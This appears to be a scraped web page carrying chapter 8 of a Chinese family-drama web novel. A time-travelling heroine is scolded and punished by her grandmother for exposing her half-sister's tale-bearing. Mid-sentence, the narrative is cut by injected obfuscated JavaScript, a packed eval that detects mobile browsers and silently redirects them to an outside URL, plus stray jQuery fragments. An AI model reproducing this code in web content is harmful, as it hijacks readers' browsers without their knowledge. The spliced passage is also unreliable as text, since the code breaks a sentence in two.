默认冷灰
24号文字
方正启体

8. 第 8 章

作者:昆仑山上玉本书字数:K更新时间:
    “当然是四妹妹的错!”晏宜拍案而起,义正言辞,俨然化为全国大专辩论赛种子选手,誓将白姨娘和姚韶仪狠狠批判一番。


    只听她清了清嗓子,侃侃而谈道:“从前孔夫子在世时,鲁国有一条律法,凡是在外游历的鲁人见到沦为奴隶的鲁国子民而出钱将他们赎回的,通通可以从国君处得到奖励。夫子的弟子子贡赎取流落在外的鲁国百姓后,却拒绝了赏金。夫子却没有夸奖子贡轻财重义,反而认为子贡的做法会令后来的人因耻于受赏而不再热衷于赎取为人奴婢的国人。[注1]


    可见做一件事的对错,不仅在于事情本身,还在于影响如何。不俱太太说了什么,总归是在马车里说的,不是在爹爹面前说的,不过上有天知,下有地知。可四妹妹却要‘无意间’说给爹爹听,一来使得爹爹心中不快,二来也伤了爹爹和太太的夫妻情分。再者,四妹妹背后说人,真以为天衣无缝不成?天下没有不漏风的墙,如今被太太知道了,也伤了母女情分。可见不论妹妹原意如何,有这样的后果,便是不该说出口的。


    不法之行,向为人所不耻,可是孔夫子却说‘父为子隐,子为父隐,直在其中’[注2],何解?不过是因为如果连骨肉至亲之间都互相揭发,便不知世上还有何人可信了。”


    在场所有人都被她的滔滔大论镇住了。


    好半日,姚二老爷才回过神来。不等他开口,晏宜又兴冲冲地大手一挥,准备开始新一轮长篇大论。


    结果这个时候下人进来禀报说,老太太过来了。


    这下所有人都从椅子上站起来了,春和趁机把跟牛皮糖似的黏在地上的白姨娘也拉了起来。


    “姨娘如今也是半个主子了,可别再动不动就来跪下磕头那一套了!”春和啧了一声,轻视溢于言表,但白姨娘的脸上却始终是淡淡的,看不出什么喜怒。


    姚老太太今年六十出头,但保养得很好,一头乌发不见几根银丝,走起路来也精神抖擞,脚步带风。


    她身边伺候了几十年的尚妈妈连忙接过她手里的拐杖,稳稳地扶住了她。


    “都在这里吵吵闹闹的,成何体统?要在家里升堂不成!”老人家并不问发生了什么,更不问谁对谁错,只不许众人在家里喧哗,扰了她的清静。


    姚二老爷听了,面色煞白,不由地用袖子擦了擦自己的鼻子,羞愧道:“母亲见教的是,总归是儿子治家不力。”


    姚老太太是个爽利的妇人,当年初嫁姚阁老的时候,对方还只是个家徒四壁的文弱书生,家里还有位尖酸刻薄的继母处处找事儿,是她一个人撑起了家计,靠着刺绣供养丈夫读书,这才有了姚家日后的兴旺发达。


    因着这个缘故,姚老太爷十分敬重这位发妻,姚家两位老爷几十岁的人了,在母亲面前也是唯唯诺诺的。


    眼下姚二老爷满脸愧色,大气不敢喘一下的,姚老太太看了越发生气,只怒骂道:“你自然是治家无方,几十岁的人了,被一个十几岁的丫头片子耍得团团转,下人们还不知道怎么看笑话呢?”


    见姚二老爷跪在她跟前,一动不动的,把头贴到了地上,她眼皮都没抬一下,连连挥手:“还不赶紧滚下去读书?!”


    姚家不愧是诗书礼义之家,哪怕到了四十岁,最要紧的事儿也是念好圣贤书——想到这里,晏宜不由同情地望了自己这辈子的亲爹一眼,结果好巧不巧对上姚老太太锐利的眼神,吓得哆嗦了一下。


    看来……她也跑不掉啊……


    姚二老爷跌跌撞撞地走后,姚老太太又拍着桌子分别将张氏和白姨娘臭骂了一顿,嗓门之大,震得屋外院子里的白瓷大花盆都抖了三抖。


    “行了,都滚下去,自己好好琢磨琢磨!今日的事儿,我决不许再有第二次!否则,不管是谁,我都给送到庙里去!”


    这话一出,不仅姚韶仪面无血色,一向泰山崩于前不改其色的白姨娘也变了脸色,反倒是张氏一向来是个无知者无畏的,犹自不知道利害,嘴里还叨叨着些什么。


    晏宜夹紧了尾巴,一副小心谨慎的样子,“祖母说的是,孙女儿也回去好好反思一下……”


    说着用眼睛去偷瞄春和,指望着春和能生出一对翅膀,赶紧把自己带离这个是非之地。


    可惜老太太棋高一着,一眼看穿了她的心思,坐在上头,优哉游哉地品着一盏瓜子仁泡茶,茶盖叩在茶碗上,时不时发出一声清脆的动静。姚老太太就这么眯着眼打量着她,好半天咳出了一泡痰,才开嗓道:“你要去哪儿?”


    “我,我,我回自己的院子呀,今日的书还没看呢。”晏宜已经隐隐觉得大事不妙了。


    “不必了!”老太太说得斩钉截铁的,“我瞧着你书已经念得太多了,今日若不是我来了,你爹还真招架不住你这张嘴呢。”


    这是在责怪她过于多事,将家里搅得鸡犬不宁了。


    晏宜当然不能认下这个罪状,也打心里不认同——分明是白姨娘和姚韶仪心怀不轨,主动挑事,她不过是路见不平,仗义执言罢了,难道这也要各打五十大板??


    “孙女儿说的都是实话,爹爹当然无从辩驳了。”晏宜闷闷道。


    姚老太太伸出一只戴满了各种扳指的手,狠狠地戳了她的脑袋一下:“你往日的贞顺友爱都到哪里去了?”


    “你说你是肺腑之言,我却道全是歪理邪说!我就问一句,你方才口口声声说什么‘亲亲相隐’,纵使你娘真说了你爹的坏话,你妹妹也不当捅出来,那你呢?韶姐儿就不是你的亲妹子了?当着你爹你娘的面戳破了她那些小伎俩,日后让你娘如何与她相处?你自问自己做到了么?”


    晏宜张了张嘴,这回是真的辩无可辩了。


    “那如何一样?”她梗着脖子,垂死挣扎,“我之所以说破妹妹的鬼魅伎俩,是为了妹妹就此改过自新,难道背后说人坏话是什么值得夸奖的好事儿吗?妹妹成日在爹爹面前说太太的不是,不也搅得家无宁日?我又没有私底下去告诉太太,是当着妹妹的面说破的,她若真有冤情,也可自白……”


    “哼!还敢在我这儿狡辩呢!”姚老太太重重地拍了一下桌子。


    一旁捧着茶碗的尚妈妈赶紧道:“老太太仔细伤了手。”


    又道:“眼下没有旁人,可否让奴婢对三姑娘说几句心里话?”


    老太太无可无不可地嗯了一声:“你说吧。”


    尚妈妈这才将手里的茶碗交给边上另一个十几岁的小丫鬟,自己走到晏宜面前,行了个万福礼:“姑娘得罪了,莫怪老婆子多嘴多舌。”


    晏宜满眼犹疑地望着眼前这个穿着一件蓝色比甲,打扮朴素得不能再朴素的老妇人,实在不知道她葫芦里卖的是什么药。


    尚妈妈道:“若……四姑娘是您一母同胞的姊妹,您还会当着老爷、太太的面揭破她吗?”


    晏宜皱眉,冷笑一声:“世上哪有那么多如果,要是这么说,若太太是四妹妹的亲娘,四妹妹还会暗地里说太太坏话吗?”


    尚妈妈却没有理会她,而是下了断言:“那便是不会了。”


    晏宜没有说话,尚妈妈接着道:“奴婢没有读过那样许多的书,但想着世间的道理都是差不多的。姑娘生了一张巧嘴,上下嘴皮子一碰,正说反说总有道理,旁人不如姑娘伶俐,自然说不过姑娘,可姑娘总要对自己实诚——我做这事儿是为了什么?真是为了大义不成?还是只是姊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16042411|178837||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    妹之间有个高低,看不惯家里的姨娘和庶妹得宠呢?”


    “你——!”晏宜当然不会傻不愣登被这么一激将就梗着脖子认了,她只是冷笑着道,“若妈妈是这么想我的,我也无可辩驳。”


    尚妈妈却并没有因为她这句话而流露出惶恐的神色,脸上仍是淡淡的,涵养十分到位:


    “奴婢是下人,怎么想姑娘并不打紧,要紧的是姑娘是怎么想的?今日老太太发这样大的火,姑娘您以为是护着四姑娘么?不怕老太太说我老婆子拿大,这些年来,我在边上冷眼看着,老太太对姑娘您的偏疼那是全府上下有目共睹的。老太太今日所恼、所虑的——全然是姑娘您的名声、您的前途啊!只说一点,您这样当着众人的面打了姨娘和四姑娘的脸,日后她们心中又该如何暗恨姑娘呢?姑娘何苦强出头,为自己增添隐患?”


    平心而论,尚妈妈的话字字在理,也算用心良苦,然而晏宜却不肯轻易承认自己的错误,仍犟道:“妈妈说的话我知道是为了我好,可若是人人都只知自保,世间又有谁来主持正义呢?”


    晚明不就是因为上至皇帝,下至群臣都只知道维护自己的私利,置大局于不顾,才会落得流寇遍地,最后被北狄趁虚而入的结局?唯一一个力图革新的苏显之还被一众同僚争相攻讧,最后身死族灭。


    然而不知道这句话哪里戳中了姚老太太的要害,她遽然发起怒来,指着晏宜喝道:“智足以拒谏,言足以饰非![注3]尚妈妈的话你是半句听不到心里,既然如此,给我拿家法来!”


    这回晏宜是真的傻眼了。


    执掌家法的嬷嬷生得五大三粗的,大腿比晏宜的腰身还要粗,胳膊上的腱子肉就像石头那么硬,看起来就是一个干农活的好手,真被这样的人打上几板子,晏宜的手还要不要了!


    当下连忙嘤嘤假哭起来,盼着姚老太太心软放她一马,没想到姚老太太不为所动,仍冷着脸命令这身材魁梧的嬷嬷重重地给晏宜打上二十个手板。


    这下晏宜从假哭变成了真哭——呜呜呜,从小到大还从来没有一个人对她动过粗呢!连她上辈子的渣爹也没有啊!


    她疼得龇牙咧嘴,面目扭曲,偏偏姚老太太还要问她知道自己错在哪了没。


    晏宜脾气上来了,心想打都被打了,坚决不肯低头认错。


    老太太看着她倔强的小脸,长叹一口气,骂道:“我问你,若是你妹妹真的落了一个挑拨嫡母和父亲的罪名,你的名声又要如何?萧家要是藉此机会,说我们姚家家风不正,甚至将婚事退了,你才是不知道上哪儿哭去呢!”


    “说一千道一万,祖母不过是舍不得这桩好婚事罢了!”晏宜疼得满脸是泪,仍咬着牙顶嘴道,“可人家看不上你时,什么都是错。今日太太之所以心里不爽快,还不是因为萧家人冷待的缘故?如今人家都已经是这副嘴脸,我们又何必还上赶着呢!”


    晏宜原本以为,说出萧家人今日见高踩低的事儿能让姚老太太改变主意,没想到这个干瘦的老封君听后只是吧嗒了一下嘴巴,不屑地道:“那又如何?他萧家人敢在我们无过的情况下退婚么?正因为他们如今想要攀高枝,你更不能出差错。回去吧,等手好了之后再抄二十卷《女诫》,抄完之前不许再去书楼了。”


    晏宜:天塌了!


    穿越之后她就一直对姚家的藏书楼念念不忘,可洒扫的下人们告诉她藏书楼要趁着秋冬之交物候凉爽整饬一番,她只好眼巴巴地等着。好容易藏书楼打扫得差不多了,姚老太太又不许她去了!


    她很想说这是什么来自古代的老封建,心里除了嫁个好男人还是好男人——可问题是,眼前这位还真的是封建社会的命妇啊!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)